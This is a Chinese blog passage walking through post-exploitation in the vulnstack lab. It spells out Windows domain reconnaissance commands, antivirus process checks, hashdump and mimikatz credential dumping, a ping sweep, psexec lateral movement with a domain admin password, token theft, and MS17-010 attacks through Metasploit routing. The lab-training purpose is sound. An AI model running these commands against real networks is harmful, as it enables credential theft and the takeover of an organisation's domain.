CS上线后对目标主机进行信息收集

ATT&CK实战-红日安全vulnstack(一) - soapffz’s blog

1
2
3
4
whoami
hostname
net user
net localgroup administrator

查看是什么操作系统&系统版本

系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

查询已安装的软件及版本

1
wmic product get name,version

win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2win7 等版本中可以正常使用

powershell 中可替代该命令的是 Get-WmiObject:

1
Get-WmiObject -class win32_product | Select-Object -property name,version

查询进程及服务

1
2
3
tasklist 默认显示映像名称,PID,会话名,会话,内存使用
tasklist /svc,默认显示映像名称,PID,服务
wmic process list brief

常见的杀软进程:

进程名 软件
360sd.exe 360 杀毒
360tray.exe 360 实时保护
ZhuDongFangYu.exe 360 主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender

域信息收集

判断是否存在域

1
2
3
ipconfig /all 查看DNS服务器
net view 查看域信息
net view /domain 查看主域信息

查看时间服务器

1
net time /domain

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

1
查询当前的登录域与用户信息:net config workstation

查找域控

1
nslookup + 域名 

查询域控和用户信息

1
2
3
4
5
6
7
net user /domain 查看当前域的所有用户
wmic useraccount get /all 获取域内用户的详细信息
net group "domain computers" /domain 查看所有域成员计算机列表
net group "domain admins" /domain 查看域管理员
net group "domain controllers" /domain 查看域控制器
net group "enterprise admins" /domain 查看企业管理组

查看域控,升级为域控时,本地账户也成为域管:

1
net localgroup administrators /domain
1
获取域密码信息:net accounts /domain
1
获取域信任信息 (cs 里执行提示不是内部或外部命令):nltest /domain_trusts

获取到一个 csbeacon 后可以目标内网情况和端口开放情况

beacon 上右键 -> 目标 -> 选择 net view 或者 port scan:

选择前者执行:

cshashdump 读内存密码:hashdump,用 mimikatz 读注册表密码:logonpasswords

在凭证信息一栏可以清楚查看:

如果权限不够可以提权,提权插件:ElevateKit

额外增加 ms14-058ms15-051ms16-016uac-schtasks 四种提权方式

抓取密码后可以先探测内网其他主机:

ping 方法:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.72.%I | findstr "TTL="

最简单的直接 arp -a 查看也可以,这里还推荐一个好用工具 Ladon

Ladon作者是 k8gege,它是一个大型内网渗透扫描器并且支持 cs 脚本形式

cs 要使用的话只需要下载其中的 Ladon.exeLadon.cna 即可运行基本功能

详细功能参考官方 wiki官方说明文档

查看帮助:

扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan

1
Ladon` 还有很多使用功能,比如扫描 `MS17-010`:`Ladon 192.168.72.0/24 MS17010

其他的功能可以自己去尝试

域探测差不多了还可以使用 BloodHound这款域渗透分析工具来分析攻击路径

BloodHound 介绍:

BloodHound 是一种单页的 JavaScript 的 Web 应用程序,构建在 Linkurious 上,用 Electron 编译,NEO4J 数据库 PowerShell/C# ingestor.BloodHound 使用可视化图来显示 Active Directory 环境中隐藏的和相关联的主机内容。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入了解 Active Directory 环境中的权限关系。

横向移动展开目录

这里有很多种方式,可以:

  1. cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定
  2. ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
  3. cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
  4. cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
  5. 用 frp 创建 socks5 代理

我后面会专门写一篇文章来写各种带入方式,本篇篇幅过长,就不全部使用了

SMB Beacon展开目录

另外这里还要介绍下 cs 派生 SMB Beacon

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效

简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

新建一个 Listenerpayload 设置为 Beacon SMB

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beaconlisterner:

选择后会反弹一个子会话,在 externalip 后面会有一个链接的小图标:

在图标视图中:

这就是派生的 SMB Beacon,当前没有连接

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

psexec 使用凭证登录其他主机展开目录

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEHpsexec 模块:

在弹出的窗口中选择使用 god.orgAdministrator 的凭证信息

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

可以看到分别执行了

1
2
3
rev2self
make_token GOD.ORG\Administrator hongrisec@2020
jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon

如法炮制得到了域控主机 OWAbeacon:

token 窃取展开目录

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administratortoken 来登录其他主机

选择 beacon 右键 -> 目标 -> 进程列表

选择 GOD\Administratortoken 盗取:

然后在选择令牌处勾选使用当前 token 即可:

效果和前面是一样的

cs 派生 msf 横向移动展开目录

前面 psexec 能迅速地获得域控主机的 beacon 是因为我们读取到了域管理员账号密码的 hash

但是一般情况下,我们是获取不到的,所以多种方法都需要学会使用

csmsf 联动的话,可以使用 cs 开启 socks,然后 msf 将代理设置为此代理进行扫描

也可以直接用 cs 派生一个 msfmeterpreter 会话,此处使用后者

csmsf 联动在 cs 的使用这篇文章中已经介绍过,此处不再赘述

1
msf` 获得 `meterpreter` 会话后,首先查看当前路由:`run get_local_subnets

然后添加对应网段:run autoroute -s 192.168.72.0/24 添加路由段

然后去使用 ms17-010 的模块,例如:

1
2
auxiliary/admin/smb/ms17010command
exploit/windows/smb/ms17010psexec

等去攻击域内其他主机即可。